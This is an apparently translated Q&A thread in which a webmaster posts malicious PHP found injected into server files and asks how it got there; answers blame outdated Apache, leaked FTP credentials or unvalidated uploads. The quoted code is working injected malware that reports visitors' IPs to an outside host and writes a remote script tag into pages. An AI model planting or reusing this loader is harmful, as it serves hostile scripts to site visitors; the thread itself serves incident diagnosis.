恶意PHP代码注入PHP文件

时间:2014-04-23 14:51:32

标签: php malware

上周我们的服务器出现了问题,代码被注入PHP文件。我想知道这可能是什么原因。注入我们文件的代码片段看起来像这样。

#be7339#
if (empty($qjqb)) 
{
    error_reporting(0);
    @ini_set('display_errors', 0);
    if (!function_exists('__url_get_contents')) 
    {
        function __url_get_contents($remote_url, $timeout)
        {
            if(function_exists('curl_exec')) 
            {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $remote_url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
                $_url_get_contents_data = curl_exec($ch);
                curl_close($ch);
            } 
            elseif (function_exists('file_get_contents') &&     ini_get('allow_url_fopen')) 
            {
                 $ctx = @stream_context_create(array('http' =>array('timeout' => $timeout,)));
                 $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
            } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
                 $handle = @fopen($remote_url, "r");
                 $_url_get_contents_data = @stream_get_contents($handle);
            } else {
                 $_url_get_contents_data = __file_get_url_contents($remote_url);
            }
            return $_url_get_contents_data;
        }
   }

   if (!function_exists('__file_get_url_contents'))
   {
       function __file_get_url_contents($remote_url)
       {
           if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i', $remote_url,  $matches))     
           {
                $protocol = strtolower($matches[1]);
                $host = $matches[2];
                $path = $matches[3];
            } else {
                // Bad remote_url-format
                return FALSE;
            }

            if ($protocol == "http") 
            {
                $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
            } else 
            {
                // Bad protocol
                return FALSE;
            }

            if (!$socket)
            {
                // Error creating socket
                return FALSE;
            }

            $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
            $len_written = @fwrite($socket, $request);
            if ($len_written === FALSE || $len_written != strlen($request)) 
            {
                // Error sending request
                return FALSE;
            }
            $response = "";
            while (!@feof($socket) &&
               ($buf = @fread($socket, 4096)) !== FALSE) {
               $response .= $buf;
            }
            if ($buf === FALSE) {
                // Error reading response
                return FALSE;
            }
            $end_of_header = strpos($response, "\r\n\r\n");
            return substr($response, $end_of_header + 4);
        }
    }

    if (empty($__var_to_echo) && empty($remote_domain)) 
    {
        $_ip = $_SERVER['REMOTE_ADDR'];
        $qjqb = "http://pleasedestroythis.net/L3xmqGtN.php";
        $qjqb = __url_get_contents($qjqb."?a=$_ip", 1);
        if (strpos($qjqb, 'http://') === 0)
        {
            $__var_to_echo = '<script type="text/javascript" src="' . $qjqb . '?id=13028308"></script>';
            echo $__var_to_echo;
        }
    }
}

我想问一下这是怎么回事。以及如何在将来防止这种情况。

提前致谢。

4 个答案:

答案 0 :(得分:1)

您服务器上的Apache版本是什么?此问题可能来自使用过时的版本..

请查看有关旧版Apache的安全漏洞的链接:

http://httpd.apache.org/security/vulnerabilities_20.html

答案 1 :(得分:1)

脚本(PHP)代码注入通常意味着有人已经将密码保存到您的主机帐户。至少扫描您的PC是否存在间谍软件和病毒,然后更改密码。如果可能,请在连接到主机帐户控制面板时使用SSL。使用FTP要小心,因为它以明文形式发送密码。查看您的主机是否支持更安全的文件传输方法。

答案 2 :(得分:1)

这种情况最常见的方式是你可能有一个允许文件上传的脚本。然后,如果脚本没有验证上传的文件,恶意用户可以上传php文件。

如果您的上传文件夹允许解析PHP文件,用户可以在浏览器中运行该PHP文件,它可能是某种文件浏览器,然后将向用户显示服务器上的所有文件。现在,如果任何文件具有正确的权限,用户可以轻松编辑该文件以包含您看到的额外代码。

答案 3 :(得分:1)

通常它是因为其他人可以访问您的FTP或允许上传PHP文件。

你应该查看其他文件,因为可能还有另外一些代码,不断将这些代码添加到你的代码中(只是猜测因为&#34;#be7339#&#34;开头。

相关问题